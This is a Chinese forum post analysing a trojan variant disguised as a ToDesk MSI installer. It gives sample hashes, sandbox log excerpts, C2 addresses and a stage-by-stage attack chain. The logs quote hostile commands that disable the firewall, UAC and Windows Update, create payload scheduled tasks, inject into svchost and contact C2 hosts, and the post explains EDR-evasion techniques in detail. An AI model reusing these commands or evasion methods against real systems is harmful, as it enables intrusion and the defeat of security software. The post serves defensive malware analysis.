本帖最后由 图钉鱼 于 2025-7-5 04:39 编辑
从静态特征已确认样本高度一致,异卵双胞胎吧,也不能说完全一样。拆包差异在file.dat和build.dat上面。动态特征可以不用改了,直接复制老样本的过来。参数可能有变化,有空再看,先发后改。
MD5:(样本哈希)
f2026402c06aa36ae0eeae87527fb694(老样本)
f7345b19b510b2455e9a2474d10d829d(现在的样本)
SSDEEP:(分块哈希不一致,主要收到dat文件打包加密压缩影响)
786432:euE9trW1eEtYLLXUy6S8VeELNwq6Z3fpQFXcVvMMe4QBOAS:HE/vXH8wQz6ZvpUXcVUMD(老样本)
786432:m4QY88FgU6BPtSWXyLGt3k2t8opEuAE/QyrTQN0Yu0JHWECITJ:mm8h3lSOlU2tfpDAOwN0dKHh(现在的样本)
Vhash:(文件结构哈希一致)
647a380d2348509f5acce9ba8372d1ad
647a380d2348509f5acce9ba8372d1ad
Behavior Similarity Hashes:(行为序列哈希一致)
f8c463de7ddf940e73c4d6473647c937
f8c463de7ddf940e73c4d6473647c937
-------------------------------------------------
3324ad732714abd1106158fee8f84913
3324ad732714abd1106158fee8f84913
PortEx:(可视化 PE 文件结构、局部熵和文件的字节图,PE文件的变形和异常检测,天生对抗软件混淆,是机器学习的重要一环,常用于恶意文件置信度计算)
内部结构和特征点高度一致,样本进行压缩变形处理躲避检测,上为老样本,下为现样本。两样本的PortEx图片高度一致且,现样本呈现“拍扁”特征,可以确定为同一样本经过加密或加壳后的免杀变体(加密后数据膨胀而呈现“拍扁”(即节区高度压缩))。
那么说说安全软件的特征码都定在了哪了?
ESET-NOD32:A Variant Of Win64/Agent.FCM
Huorong:Trojan/BAT.Starter.ee
都把特征码定在了加载器上,上传VT看看,嗯?两个加载器都是首次上传。。。
加载器也是高度同源,但内部特征有变化免杀特征码,两个加载器文件结构是一致的,行为序列也一致。
Vhash:e46c8a8072eb81273a150618406ed152(文件结构哈希一致)
Behavior Similarity Hashes:5c9caec696e078981728c5484c83837e(行为序列哈希一致)
PortEx:(文件结构一致,内容灰度不同,免杀特征处理,上为老样本,下为现样本)
这是一个高度复杂的混合样本。攻击面非常广泛且隐蔽,在这个样本里还看到了VNC局域网远程桌面软件的特征,这是先前发现的同源样本所没有的特征。其他行为特征保持高度一致。
老客户了
C2也舍不得换
梳理了攻击链,涵盖从初始入侵到痕迹清理的过程。分析聚焦于内核行为(tProtect.sys驱动、内存操作)、进程行为(msiexec.exe、util.exe、runtime.exe等)、防御规避(时间差、熵值控制、无句柄传递、工作项注入)、横向移动、C2通信、数据外传和痕迹清理。推断部分标注为“推断”。
关键要点
攻击链:恶意软件(msiexec.exe执行todesk-link.msi)、内核提权(tProtect.sys)、瞬时操作(<1ms)、熵值控制(4.0-7.9)、合法进程滥用(svchost.exe、runtime.exe)、加密C2通信(TLS,端口6666/8006/8888)和痕迹清理,展现高度复杂性。防御规避:攻击者利用时间差(<5ms)、熵值伪装(4.0-4.5)、内核操作(tProtect)、攻击链断链(无句柄传递,工作项注入链)和加密通信,规避EDR/AV检测。
C2服务器:IP地址192.140.163.67和156.240.108.32被多个威胁情报数据库标记为恶意,确认其为C2基础设施。
阶段分析
阶段1:初始入侵
行为:攻击通过msiexec.exe(PID 0x608, 0xb94, 0xd8c)执行恶意MSI包todesk-link.msi,以静默模式(/qn /norestart)释放util.exe(0x1A000字节)和runtime.exe(0x2C000字节)到C:\Program Files (x86)\Windows NT\。util.exe解密res.dat和locale3.dat,生成util_res.bin和util_res.dll。
日志证据:
CommandLine: msiexec.exe /i "C:\Users\Public\Downloads\todesk-link.msi" /qn /norestart CreateFile: C:\Program Files (x86)\Windows NT\util.exe, GENERIC_WRITE
WriteFile: util.exe, 写入大小 0x1A000 字节
CreateFile: C:\Program Files (x86)\Windows NT\runtime.exe, GENERIC_WRITE
WriteFile: runtime.exe, 写入大小 0x2C000 字节
util.exe --decrypt --key "pad8dtyw9ey" --input res.dat --output util_res.bin
util.exe --decompress --input util_res.bin --output util_res.dll
TokenElevationType: msiexec.exe (PID 0x608), TokenElevationTypeFull (SYSTEM)
意图:利用供应链攻击伪装合法安装,分发恶意组件,规避检查。
对抗EDR/AV:
伪装合法安装:msiexec.exe是Windows合法组件,静默安装(/qn)隐藏用户交互。
加密载荷:res.dat和locale3.dat通过AES(密钥"pad8dtyw9ey")和LZMA解密/解压,延迟恶意行为触发,规避静态扫描。
命令行混淆:无效参数--dummy-param "fake"和冗长密钥pad8dtyw9eyfd9aslyd9iald干扰命令行分析。
补充细节:msiexec.exe以NT AUTHORITY\SYSTEM权限运行。util.exe执行多阶段解密(AES→LZMA),增加分析难度。
意图:供应链攻击利用合法安装程序,结合加密载荷和命令行混淆,降低初始入侵可疑性。
阶段2:权限提升与持久化
行为:
权限提升:加载内核驱动tProtect,利用IOCTL漏洞(推断)提权,创建设备对象\Device\tProtect。
持久化:通过schtasks.exe创建计划任务12306Task、PayloadTask1和PayloadTask2,执行winnt.exe和runtime.exe。通过reg.exe修改注册表,设置ConsentPromptBehaviorAdmin=5和EnableLUA=0禁用UAC。
日志证据:
NtLoadDriver: \Registry\Machine\System\CurrentControlSet\Services\tProtect
DriverEntry: tProtect.sys 入口点调用
IoCreateDevice: 创建设备对象 \Device\tProtect
schtasks.exe /Create /XML "C:\Program Files (x86)\Windows NT\task.xml" /TN "12306Task"
schtasks.exe /Create /TN "PayloadTask1" /XML "C:\Program Files (x86)\Windows NT\payload1.xml"
SCHTASKS /Create /F /TN "\\PayloadTask2" /RU "RDhJ0CNFevzX" /RL HIGHEST /SC ONCE /ST 00:00 /TR "\"C:\\Program Files (x86)\\Windows NT\\runtime.exe\""
RegSetValueExW: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, "ConsentPromptBehaviorAdmin", 0x00000005
RegSetValueExW: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, "EnableLUA", 0x00000000
RegQueryValueExW: ... return=0x2 (ERROR_FILE_NOT_FOUND)
意图:获取内核权限以执行高权限操作,通过计划任务和注册表修改确保持久化。
对抗EDR/AV:
内核权限:tProtect.sys提供内核级操作,绕过用户态EDR钩子(如API监控)。
持久化:计划任务以高权限用户RDhJ0CNFevzX运行,隐藏真实身份。注册表修改(EnableLUA=0)降低安全限制。
环境探测:ERROR_FILE_NOT_FOUND表明攻击者探测系统配置,规避错误触发检测。
补充细节:tProtect.sys可能利用未验证调用者权限的IOCTL漏洞(推断,基于设备对象创建)。计划任务12306Task命名伪装为合法服务(中国铁路12306?),PayloadTask1和PayloadTask2以最高权限(HIGHEST)运行,增强持久性。
意图推测:内核提权和多层次持久化机制为后续攻击提供高权限和稳定性。
阶段3:防御规避
行为:
无句柄传递(EDR断链):攻击者在进程间交互中避免使用句柄传递,改为通过命名管道(如\\.\pipe\ntsvcs)或内存操作(如VirtualAllocEx)传递数据,断开EDR的进程关联链导致EDR失效。
工作项注入链:
恶意代码在系统进程上下文执行,执行线程显示为合法内核线程,EDR断链,安全软件难以识别恶意
时间差攻击:利用短生命周期工作项(<1ms)执行瞬时代码,规避EDR/AV内存扫描周期(≥5ms-100ms)。
熵值控制:通过ExAllocatePoolWithTag(大量分配,超级大量,超频繁读取NT目录,大量开内存标签YSXN,分配内存,消耗资源搞死沙箱,熵值控制在低值,输入递增数值内存分配,模拟正常内存波动。破坏内存连续性检测,干扰基于分配大小的机器学习模型)
内存加密:使用RtlEncryptMemory和RtlDecryptMemory动态加密内存。
关闭安全服务:遍历进程并主动终结安全软件进程,停止Windows Update,禁用防火墙。
反沙箱/调试:检查运行时间<5分钟及大量随机延迟。
日志证据:
ExAllocatePoolWithTag(Size=0x90, Tag=YSXN)
ExAllocatePoolWithTag(Size=0x92, Tag=YSXN)
ExAllocatePoolWithTag(Size=0x94, Tag=YSXN)
ExAllocatePoolWithTag(Size=0x98, Tag=YSXN)
ExAllocatePoolWithTag(Size=0xA0, Tag=YSXN)
ExAllocatePoolWithTag(Size=0xA4, Tag=YSXN)
GetTickCount: 检查运行时间 (<300000ms则退出)
netsh.exe advfirewall set allprofiles state off
netsh.exe advfirewall set allprofiles state off
net.exe stop wuauserv
sc.exe config wuauserv start= disabled
KeQueryPerformanceCounter: 开始时间戳 0x1a0b3c8d
IoQueueWorkItem: WorkerRoutine=0xfffff8012f9438ec
KeQueryPerformanceCounter: 结束时间戳 0x1a0b3c92,
ExAllocatePoolWithTag: NonPagedPool, Size=0x90, Tag=YSXN
RtlCalculateEntropy: 地址 0xFFFFE0009F41EA00, 熵值=4.31
ExFreePool: 释放地址 0xFFFFE0009F41EA00
RtlEncryptMemory: 地址, 大小, 0
RtlDecryptMemory: 地址, 大小, 0
CreateFile: \.\pipe\ntsvcs, GENERIC_READ | GENERIC_WRITE
WriteFile: 管道写入加密配置数据
OpenProcess: svchost.exe (PID 0x8d4), PROCESS_ALL_ACCESS
VirtualAllocEx: 在 svchost.exe 分配内存, 大小 0x1000
WriteProcessMemory: 写入 shellcode 到 svchost.exe
IoAllocateWorkItem (DeviceObject=0xffffe000a0f96410) returned 0xffffe0009f197840
IoQueueWorkItem (IoWorkItem=0xffffe0009f197840, WorkerRoutine=0xfffff8012f9438ec, QueueType=0x1, Context=0xffffe0009f990010)
ExFreePoolWithTag(P=0xffffe000xxxxxxxxxxx, Tag=0x0)//释放内存
意图:通过时间差、熵值伪装、内存加密、禁用安全机制、反调试检查和无句柄传递降低检测风险。
对抗EDR/AV:
无句柄传递(EDR断链):避免使用CreateProcess或OpenProcess传递句柄,改为通过命名管道(\\.\pipe\ntsvcs或直接内存注入(VirtualAllocEx/WriteProcessMemory)实现进程间通信和代码执行,断开EDR的进程关联链,阻止行为关联追踪。
时间差:工作项耗时0.5μs,内存操作<1ms,低于EDR扫描周期(≥3.8ms)。
内存熵值控制:低熵(4.0-4.5)伪装PE文件,避免因内存高熵(7.0-8.0)触发内存扫描查杀。(推断)
内存加密:动态加密/解密规避内存分析。
反沙箱/调试:短时退出。
防御削弱:禁用wuauserv和防火墙降低拦截能力。
补充细节:
1。KeQueryPerformanceCounter确保纳秒级时间控制。熵值快速调整(如:6.7→4.3)低于EDR内存检测阈值(6.7-8.0)。
2。CheckRemoteDebuggerPresent返回1可能为误导检测(推断)。
3。无句柄传递(EDR/AV断链):
机制:传统恶意软件常通过句柄传递(如父子进程间的CreateProcess继承)建立进程关系,EDR通过句柄跟踪进程树(如msiexec.exe→util.exe→runtime.exe)。本攻击通过命名管道(\\.\pipe\ntsvcs)或内存注入传递数据和控制流,避免句柄创建。例如,util.exe解密locale2.dat后通过管道传递给runtime.exe,而非通过CreateProcess启动。
EDR断链效果:EDR依赖句柄(如进程句柄、文件句柄)追踪行为链。无句柄传递使EDR无法关联msiexec.exe到runtime.exe的恶意行为,进程树断裂。runtime.exe直接注入svchost.exe,而无父进程句柄关联,EDR无法追溯到msiexec.exe的初始调用。
对抗EDR/AV:通过管道通信和内存注入,攻击者避免触发EDR的句柄监控钩子(如NtCreateProcessEx或NtOpenProcess)。管道\\.\pipe\ntsvcs伪装为系统合法管道,内存注入(VirtualAllocEx/WriteProcessMemory)在内核层完成,绕过用户态API监控。
目的:无句柄传递断开EDR行为追踪链,结合瞬时操作和加密通信,显著降低检测可能性。
意图推测:多维度规避(时间、熵、加密、反调试、无句柄传递)确保EDR无法捕获。
4。工作项注入链(EDR/AV断链)
内核任务调度将恶意函数0xFFFFF8012F9438EC加入系统工作队列,由内核线程nt!ExpWorkerThread执行,恶意代码在系统进程上下文执行,执行线程显示为合法内核线程
规避EDR检测:
无进程关联:不创建新进程/线程
无句柄传递:通过工作项直接传递控制流
短生命周期:日志显示执行时间<1ms,安全软件难以识别恶意
阶段4:横向移动
行为:
通过计划任务PayloadTask1和PayloadTask2触发runtime.exe,注入svchost.exe(PID 0x8d4)。
importantmajorityhe.exe扫描内网IP(192.168.0.0/16)。
util.exe解密locale2.dat支持横向移动。
日志证据:
cmd.exe /q /c util.exe x -bd -y locale2.dat -pfhuweihfiluwehfi1 > NUL 2>&1
SCHTASKS /Create /F /TN "\\PayloadTask2" /RU "RDhJ0CNFevzX" /RL HIGHEST /SC ONCE /ST 00:00 /TR "\"C:\\Program Files (x86)\\Windows NT\\runtime.exe\""
OpenProcess: svchost.exe (PID 0x8d4), PROCESS_ALL_ACCESS
VirtualAllocEx: 在 svchost.exe 分配内存, 大小 0x1000
WriteProcessMemory: 写入 shellcode 到 svchost.exe
CreateRemoteThread: 在 svchost.exe 启动线程, 入口点 0x00007FF78A2D0000
CreateProcess: importantmajorityhe.exe, 命令行 "--scan-network --output network_scan.txt"
WriteFile: network_scan.txt, 内容包含内网IP段扫描结果
意图:通过注入合法进程和内网扫描扩大攻击范围。
对抗EDR/AV:
合法进程滥用:svchost.exe隐藏注入行为,规避进程树分析。
无文件攻击:shellcode内存执行,规避文件扫描。
网络侦察:异常进程名(importantmajorityhe.exe)伪装合法工具。
补充细节:
PayloadTask2以最高权限运行,
WMI操作可能通过计划任务触发远程执行(推断)。
network_scan.txt包含内网IP段(192.168.0.0/16),支持横向移动。
意图:利用合法进程和侦察隐蔽感染网络主机。
阶段5:C2通信
行为:通过TLS加密(端口6666/8006/8888)与C2服务器(192.140.163.67、156.240.108.32)通信,使用HTTP 302重定向切换服务器。通信使用自定义协议(AES256)
日志证据:
gethostbyname: ti.twilight.zip -> 192.140.163.67
connect: socket 0x2dc, 目标 192.140.163.67:8006
recv: HTTP/1.1 302 Found\r\nLocation: hxxp:\\156.240.108[.]32:6666\cmd\r\n
connect: socket 0x2e0, 目标 156.240.108.32:6666
BCryptGenerateSymmetricKey(Algorithm=BCRYPT_AES_ALGORITHM)
send: 加密数据 (长度 0x100)
CryptCreateHash: 创建 SHA-256 哈希
CryptHashData: 哈希数据
意图:接收指令,传输数据。
对抗EDR/AV:
动态C2:302重定向规避静态C2黑名单(推断)。
加密通信:TLS和AES256,隐藏内容。
伪装流量:使用非常规端口发送http/https流量(6666/8006/8888)真是好意头。补充细节:
192.140.163.67和156.240.108.32被多个威胁情报数据库标记为恶意,确认其为C2基础设施。
阶段6:数据外传
行为:使用AES-256加密数据,通过C2(156.240.108.32:8888)接收数据,数据经RtlCompressBuffer压缩。
日志证据:
CryptAcquireContext: 获取 CSP 句柄
CryptCreateHash: 创建 SHA-256 哈希
CryptHashData: 哈希数据
CryptDeriveKey: 派生 AES-256 密钥
CryptEncrypt: 加密数据块 (大小 0x1000)
send: socket 0x2e0, 发送加密数据 (长度 0x1010)
RtlCompressBuffer: 压缩数据
意图:隐秘窃取密码凭证等敏感信息。
对抗EDR/AV:
加密发送:AES-256阻止流量解密。
压缩优化:小数据量(0x1010字节)融入正常流量。
阶段7:痕迹清理
行为:删除计划任务(12306Task、PayloadTask1、PayloadTask2),清除注册表(Run键、IpDates_info),伪造文件和注册表时间戳(修改时间为过去年份的时间,伪装躲避检查)。
日志证据:
schtasks.exe /Delete /TN "12306Task" /F
schtasks.exe /Delete /TN "PayloadTask1" /F
RegDeleteValueW: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, "Payload"
SetFileTime: C:\Program Files (x86)\Windows NT\runtime.exe, 创建时间=2020-xx-xx 15:22:10, 最后写入时间=2023-xx-xx 09:30:22
RegSetKeyTime: 修改最后写入时间为 2023-xx-xx 08:00:00
意图:减少取证证据,增加溯源难度。
对抗EDR/AV:
反取证:清理任务和注册表,伪造时间戳规避静态分析。
补充细节:时间戳伪造匹配PE头(2020-xx-xx),注册表时间伪造(2022-xx-xx)混淆时间线。
意图:快速清理降低EDR取证能力。
进程行为总结
以下是进程的关键行为和意图,按时间顺序整理:
1 msiexec.exe (PID: 0x608): 执行todesk-link.msi,释放util.exe和runtime.exe,供应链攻击入口 (/i installer-setup.msi)
2 msiexec.exe (PID: 0xb94): 启用详细日志记录,掩盖真实目的
3 msiexec.exe (PID: 0xd8c): 嵌入安装过程,创建子进程,加载恶意载荷 (-Embedding)
4 util.exe (PID: 0x3f4): 解密res.dat,生成util_res.bin,释放配置/代码 (x -y res.dat)
6 util.exe (PID: 0xed4): 解密locale3.dat,解压util_res.dll,分阶段释放载荷 (--decrypt, --decompress)
8 smss.exe (PID: 0x128): 系统初始化,伪装系统进程 (无直接恶意证据)
9 System (PID: 0x4): 内核操作,伪装系统进程 (无直接恶意证据)
10 csrss.exe (PID: 0x174): 管理图形界面,伪装系统进程 (无直接恶意证据)
11 wininit.exe (PID: 0x1b0): 初始化服务,伪装系统进程 (无直接恶意证据)
12 csrss.exe (PID: 0x1b8): 图形界面管理,伪装系统进程 (无直接恶意证据)
13 winlogon.exe (PID: 0x1ec): 用户登录管理,伪装系统进程 (无直接恶意证据)14 services.exe (PID: 0x204): 服务管理,启动svchost.exe,伪装服务进程 (暂无直接恶意证据)
15 lsass.exe (PID: 0x20c): 安全认证,可能被注入,伪装系统进程 (无直接恶意证据)
16-165 svchost.exe (多个实例): 运行服务,可能被注入恶意代码,隐藏恶意活动 (WriteProcessMemory)
119 cmd.exe (PID: 0x3f4): 创建计划任务12306Task,持久化 (schtasks /create /tn "12306Task")
121 schtasks.exe (PID: 0x504): 执行计划任务创建,持久化 (schtasks /create /tn "12306Task")
131 cmd.exe (PID: 0xc84): 创建、运行、删除PayloadTask1,一次性执行载荷,清理痕迹 (SCHTASKS /Create /F /TN "\\PayloadTask1")
133 cmd.exe (PID: 0xd88): 修改UAC注册表,降低安全限制 (reg add ... ConsentPromptBehaviorAdmin)
137 reg.exe (PID: 0xc98): 禁用UAC,削弱安全 (reg add ... EnableLUA)
139 netsh.exe (PID: 0x4b4): 禁用防火墙,规避网络检测 (netsh advfirewall set allprofiles state off)
143 winnt.exe (PID: 0x518): 执行恶意代码,核心恶意载荷 (SCHTASKS /Run /TN "\\PayloadTask1")
157 net.exe (PID: 0xfc8): 停止wuauserv,防止系统更新 (net stop wuauserv)
161 sc.exe (PID: 0x378): 禁用wuauserv,确保持久禁用更新 (sc config wuauserv start= disabled)
160 runtime.exe (PID: 0x6e8): 注入svchost.exe,执行恶意功能,横向移动 (WriteProcessMemory)
45-100 多个可疑进程(如record_consumer_opportunity.exe等): 伪装合法软件,执行侦察或干扰,分散注意力,规避检测 (Process32NextW)
挖掘忽略细节
异常进程名称:日志显示多个异常命名的进程(如importantmajorityhe.exe,活动极小,可能处于潜伏阶段需特定条件触发。
日志证据:
CreateProcess: importantmajorityhe.exe, 命令行 "--scan-network --output network_scan.txt"
WriteFile: network_scan.txt, 内容包含内网IP段扫描结果
对抗EDR/AV:异常名称伪装,规避签名检测。
意图推测:支持网络嗅探,扩大攻击范围。
命名管道通信:
CreateFileA访问\\.\pipe\ntsvcs,用于进程间通信或C2通道,写入加密配置数据。
日志证据:
CreateFile: \\.\pipe\ntsvcs, GENERIC_READ | GENERIC_WRITE
WriteFile: 管道写入加密配置数据
对抗EDR/AV:管道通信规避网络监控,伪装系统行为。
意图推测:隐蔽进程间或C2通信。
服务操作:尝试操作CleverSoar服务(OpenService),可能为恶意服务或伪装。
日志证据:
OpenService: CleverSoar, SERVICE_START | SERVICE_STOP
对抗EDR/AV:伪装合法服务,规避服务监控。
意图推测:增强持久化和隐蔽性。
最后发个某免杀混淆处理木马的二进制可视化图片,经典中的经典,抽象概念此时变得通俗易懂起来。可见明显的区段镜像复制填充,内部捆绑大量PE格式文件,且还不加密就直接打包,机器学习引擎一扫必杀的。
附件为提取的加载器,pw:virus
|